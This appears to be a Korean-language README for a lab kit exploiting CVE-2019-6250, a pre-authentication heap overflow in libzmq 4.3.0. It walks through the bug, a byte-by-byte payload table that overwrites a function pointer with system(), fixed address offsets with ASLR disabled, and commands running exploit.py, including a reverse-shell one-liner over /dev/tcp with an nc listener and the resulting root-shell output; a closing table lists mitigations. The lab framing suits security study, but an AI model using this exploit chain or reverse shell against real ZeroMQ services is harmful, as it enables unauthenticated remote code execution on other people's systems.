
CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 와이어 프로토콜)에 대한 종단 간 사전 인증 RCE 실습 환경
CVE-2019-6250에 대한 종단 간 작동 RCE 체인 + 재현 가능한 랩입니다. libzmq의 v2_decoder_t::size_ready에 있는 사전 인증 힙 버퍼 오버플로 취약점입니다. uint64_t 포인터 산술 오버플로를 통해 인증되지 않은 피어가 ZMTP/2.0 와이어 경로에서 인접한 msg_t::content_t::ffn 함수 포인터를 덮어쓴 다음 TCP 소켓 종료(~v2_decoder_t() → _in_progress.close() → system(cmd))를 통해 트리거할 수 있습니다.
작성자: Nicolas Krassas (@dinosn).
랩 전용입니다. 이 키트는 의도적으로 취약하게 만든 libzmq 4.3.0을 제공합니다. 랩 외부에서 포트 5555를 노출하지 마십시오. 이 버그는 7년 전 libzmq 4.3.1에서 수정되었습니다(커밋
1a2ed127).
system() 체인 — 파일 증명


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
다음과 같은 출력이 표시됩니다:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
cannot set terminal process group (1355844) 줄은 셸이 로컬에서 실행한 것이 아니라 libzmq 대상 프로세스(PID 1355844)에 의해 생성되었음을 확인합니다.
.
├── README.md # 현재 위치
├── server.c # 작은 PULL 리스너 — 취약한 대상
├── exploit.py # 전체 RCE 체인
├── setup.sh # 베어 메탈 프로비저너 (libzmq 4.3.0 클론 및 빌드)
├── start_server.sh # 대상 시작/재시작
├── read_addresses.sh # 다른 이미지에 대한 주소 프로필 재생성
├── run_lab_test.sh # 자동화된 종단 간 스모크 테스트 (CI 친화적)
├── Dockerfile # 단일 명령 컨테이너화된 랩
└── screenshots/ # README 스크린샷 (charmbracelet/freeze로 생성)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_는 공격자가 제어하는 ZMTP/2.0 LARGE 프레임 헤더의 빅 엔디안 uint64_t입니다. msg_size_ = 0xFFFFFFFFFFFFFFFF인 경우 합 read_pos_ + msg_size_가 2⁶⁴ 모듈로 래핑되어 오른쪽보다 작아집니다. 경계 검사가 false로 평가 → 실행이 제로 카피 경로로 넘어감 → _in_progress 메시지가 수신 버퍼를 별칭합니다. 그러면 디코더가 read_pos_에서 0xFFFFFFFFFFFFFFFF 바이트를 더 커널에 요청하고, recv()는 수신 버퍼 끝을 지나 인접한 content_t[] 배열(decoder_allocators.cpp:88에서 동일한 malloc() 청크에 할당됨)에 페이로드를 기꺼이 기록합니다.
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
다음과 같이 구성된 8224 바이트 페이로드를 보냅니다:
TCP 소켓을 닫으면 서버의 ~v2_decoder_t()가 _in_progress.close()를 호출합니다. msg_t::close에서:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage가 _u.zclmsg.flags = 0으로 설정하므로 OR 단축 평가가 즉시 분기를 취합니다. refcnt는 확인되지도 않습니다. 덮어쓴 ffn이 실행됩니다.
ROP, 셸코드, 정보 유출 없음: 하나의 libc 심볼 해석과 하나의 인라인 명령 문자열만 필요합니다.
v2_decoder_t 접근stream_engine.cpp:707에서:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
ZMTP/2.0 경로는 메커니즘 없이 v2_decoder_t를 인스턴스화합니다. ZAP만 2.0 연결을 거부하며, ZAP은 기본적으로 꺼져 있습니다. 피어가 12바이트 ZMTP/2.0 인사(0xff + 8개 널 + 0x7f + 리비전 0x01 + 소켓 유형)를 보내면 이후 모든 바이트는 v2_decoder_t에 의해 구문 분석됩니다. 인증 없음. 핸드셰이크 없음. 메커니즘 상태 머신 없음.
선택 사항: -fsanitize=address로 빌드하고 힙 버퍼 오버플로 보고서를 확인하세요:

0 bytes after 18160-byte region은 우리가 계산한 청크 크기를 확인합니다: 8(atomic_counter) + 8192(수신 버퍼) + 249 × 40(content_t 배열) = 18160. handshake_v2_0:719의 할당 사이트는 버그가 사전 인증 ZMTP/2.0 경로에서 발생함을 확인합니다.
kernel.randomize_va_space=0으로 설정하면 libc 베이스, libzmq 베이스, 힙, I/O 스레드의 malloc 아레나가 모두 결정론적 주소에 있습니다. exploit.py의 기본 프로필(DEFAULT_PROFILE)은 번들 랩 빌드(Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 릴리스 모드 -O2)에 대해 캡처되었습니다:
다른 glibc / libzmq 빌드로 이식할 때는 start_server.sh 후에 ./read_addresses.sh > profile.json을 실행한 다음 --profile profile.json을 익스플로잇에 전달하십시오.
실제 공격에서는 정보 유출 기본 요소나 인수 제어가 필요 없는 one-gadget 호출이 필요합니다. 둘 다 이 랩의 범위를 벗어납니다. 여기서의 목표는 버그에서 셸까지의 파이프라인을 깔끔하게 시연하는 것이지, ASLR을 무력화하는 것이 아닙니다.
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # 기본 ASLR 복원
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. 의도적으로 취약하게 만든 libzmq 4.3.0 소스는 빌드 시 상류 LGPLv3 예외 조항 / MPLv2 저장소에서 가져옵니다. 해당 코드에는 별도로 라이선스가 적용됩니다.
방어적 보안 연구, 교육 및 승인된 보안 테스트 전용입니다. 포함된 랩 환경 외부에 번들로 제공된 취약한 빌드를 배포하지 마십시오.
| 페이로드 오프셋 | 바이트 | 덮어쓰는 대상 |
|---|
[0:16] | 패딩 | (수신 버퍼 내) |
[16:K] | 명령 문자열 + NULL | (수신 버퍼 내 — system의 인수) |
[K:8183] | 패딩 | (수신 버퍼 내) |
[8183:8191] | read_pos+16 | content_t[0].data (→ 명령) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (제어 흐름 대상) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| 필드 | 값 | 출처 |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | 레이아웃에서 파생 |
cmd_offset | 16 | 페이로드에서 명령을 넣는 위치 |
| 방어 | 효과 |
|---|
| libzmq ≥ 4.3.1로 업그레이드 | 수정됨. 커밋 1a2ed127가 경계 검사를 msg_size_ > size_t(allocator.data()+size()-read_pos_)로 다시 작성 — 오버플로 불가능. |
임의의 양수 n으로 zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) | 완화됨. 오버플로가 발생하기 전에 손상된 경계 검사를 차단. |
| ZAP 인증 활성화 | ZMTP/2.0 연결 차단(stream_engine.cpp:709에서 거부). 버그를 수정하지는 않음; 인증되지 않은 경로만 차단. |
| ASLR | 무기화를 늦추지만 막지는 못함 — 체인 기본 요소 자체는 영향받지 않음. |
| 스택 카나리 / NX / RELRO | 이들 중 어느 것도 힙 함수 포인터 하이재킹을 보호하지 못함. |